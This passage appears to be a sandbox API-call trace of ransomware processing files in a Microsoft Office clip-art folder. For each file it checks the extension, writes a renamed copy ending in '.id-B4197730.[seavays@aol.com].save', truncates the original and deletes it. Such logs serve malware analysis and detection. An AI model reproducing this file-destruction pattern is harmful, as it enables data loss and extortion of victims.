(hFile=0x2ec) returned 1 [0066.392] CloseHandle (hObject=0x2ec) returned 1 [0066.393] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.393] SetEndOfFile (hFile=0x378) returned 1 [0066.394] CloseHandle (hObject=0x378) returned 1 [0066.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0066.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.395] lstrlenW (lpString=".doc") returned 4 [0066.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.395] lstrlenW (lpString=".docx") returned 5 [0066.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.395] lstrlenW (lpString=".pdf") returned 4 [0066.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.395] lstrlenW (lpString=".xls") returned 4 [0066.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.395] lstrlenW (lpString=".xlsx") returned 5 [0066.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.395] lstrlenW (lpString=".ppt") returned 4 [0066.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.395] lstrlenW (lpString=".zip") returned 4 [0066.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.395] lstrlenW (lpString=".rar") returned 4 [0066.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString=".bz2") returned 4 [0066.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString=".7z") returned 3 [0066.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString=".dbf") returned 4 [0066.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString=".1cd") returned 4 [0066.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString=".jpg") returned 4 [0066.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString=".doc") returned 4 [0066.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString=".docx") returned 5 [0066.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.396] lstrlenW (lpString=".pdf") returned 4 [0066.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString=".xls") returned 4 [0066.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.396] lstrlenW (lpString=".xlsx") returned 5 [0066.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.396] lstrlenW (lpString=".ppt") returned 4 [0066.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.396] lstrlenW (lpString=".zip") returned 4 [0066.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.397] lstrlenW (lpString=".rar") returned 4 [0066.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.397] lstrlenW (lpString=".bz2") returned 4 [0066.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.397] lstrlenW (lpString=".7z") returned 3 [0066.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.397] lstrlenW (lpString=".dbf") returned 4 [0066.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.397] lstrlenW (lpString=".1cd") returned 4 [0066.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0066.397] lstrlenW (lpString=".jpg") returned 4 [0066.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.397] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.397] lstrlenW (lpString="BL00130_.WMF") returned 12 [0066.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.398] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1464) returned 1 [0066.398] CloseHandle (hObject=0x378) returned 1 [0066.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0066.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.399] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.399] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.399] GetLastError () returned 0x0 [0066.399] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5b8, lpOverlapped=0x0) returned 1 [0066.401] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0066.402] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.402] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.402] SetEndOfFile (hFile=0x2ec) returned 1 [0066.402] CloseHandle (hObject=0x2ec) returned 1 [0066.403] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.403] SetEndOfFile (hFile=0x378) returned 1 [0066.404] CloseHandle (hObject=0x378) returned 1 [0066.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0066.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.404] lstrlenW (lpString=".doc") returned 4 [0066.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.404] lstrlenW (lpString=".docx") returned 5 [0066.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.404] lstrlenW (lpString=".pdf") returned 4 [0066.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.404] lstrlenW (lpString=".xls") returned 4 [0066.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.405] lstrlenW (lpString=".xlsx") returned 5 [0066.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.405] lstrlenW (lpString=".ppt") returned 4 [0066.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString=".zip") returned 4 [0066.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.405] lstrlenW (lpString=".rar") returned 4 [0066.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString=".bz2") returned 4 [0066.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString=".7z") returned 3 [0066.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString=".dbf") returned 4 [0066.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString=".1cd") returned 4 [0066.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString=".jpg") returned 4 [0066.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.405] lstrlenW (lpString=".doc") returned 4 [0066.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString=".docx") returned 5 [0066.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.406] lstrlenW (lpString=".pdf") returned 4 [0066.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString=".xls") returned 4 [0066.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.406] lstrlenW (lpString=".xlsx") returned 5 [0066.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.406] lstrlenW (lpString=".ppt") returned 4 [0066.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.406] lstrlenW (lpString=".zip") returned 4 [0066.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.406] lstrlenW (lpString=".rar") returned 4 [0066.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString=".bz2") returned 4 [0066.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString=".7z") returned 3 [0066.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.406] lstrlenW (lpString=".dbf") returned 4 [0066.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.406] lstrlenW (lpString=".1cd") returned 4 [0066.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0066.406] lstrlenW (lpString=".jpg") returned 4 [0066.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.406] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.406] lstrlenW (lpString="BL00148_.WMF") returned 12 [0066.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.407] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1696) returned 1 [0066.407] CloseHandle (hObject=0x378) returned 1 [0066.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0066.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.408] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.408] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.408] GetLastError () returned 0x0 [0066.408] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x6a0, lpOverlapped=0x0) returned 1 [0066.409] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x6b0, lpOverlapped=0x0) returned 1 [0066.410] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.410] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.411] SetEndOfFile (hFile=0x2ec) returned 1 [0066.411] CloseHandle (hObject=0x2ec) returned 1 [0066.412] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.412] SetEndOfFile (hFile=0x378) returned 1 [0066.412] CloseHandle (hObject=0x378) returned 1 [0066.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0066.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.413] lstrlenW (lpString=".doc") returned 4 [0066.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.413] lstrlenW (lpString=".docx") returned 5 [0066.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.413] lstrlenW (lpString=".pdf") returned 4 [0066.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.413] lstrlenW (lpString=".xls") returned 4 [0066.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.413] lstrlenW (lpString=".xlsx") returned 5 [0066.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.413] lstrlenW (lpString=".ppt") returned 4 [0066.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.413] lstrlenW (lpString=".zip") returned 4 [0066.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.413] lstrlenW (lpString=".rar") returned 4 [0066.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.413] lstrlenW (lpString=".bz2") returned 4 [0066.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString=".7z") returned 3 [0066.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString=".dbf") returned 4 [0066.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString=".1cd") returned 4 [0066.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString=".jpg") returned 4 [0066.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString=".doc") returned 4 [0066.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString=".docx") returned 5 [0066.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.414] lstrlenW (lpString=".pdf") returned 4 [0066.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString=".xls") returned 4 [0066.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.414] lstrlenW (lpString=".xlsx") returned 5 [0066.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.414] lstrlenW (lpString=".ppt") returned 4 [0066.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.414] lstrlenW (lpString=".zip") returned 4 [0066.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.414] lstrlenW (lpString=".rar") returned 4 [0066.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString=".bz2") returned 4 [0066.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.414] lstrlenW (lpString=".7z") returned 3 [0066.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.415] lstrlenW (lpString=".dbf") returned 4 [0066.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.415] lstrlenW (lpString=".1cd") returned 4 [0066.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0066.415] lstrlenW (lpString=".jpg") returned 4 [0066.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.415] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.415] lstrlenW (lpString="BL00152_.WMF") returned 12 [0066.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.415] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1516) returned 1 [0066.415] CloseHandle (hObject=0x378) returned 1 [0066.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0066.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.416] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.416] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.416] GetLastError () returned 0x0 [0066.416] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0066.418] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0066.418] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.419] WriteFile (in: hFile=0x2ec, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.419] SetEndOfFile (hFile=0x2ec) returned 1 [0066.419] CloseHandle (hObject=0x2ec) returned 1 [0066.420] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.420] SetEndOfFile (hFile=0x378) returned 1 [0066.420] CloseHandle (hObject=0x378) returned 1 [0066.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" 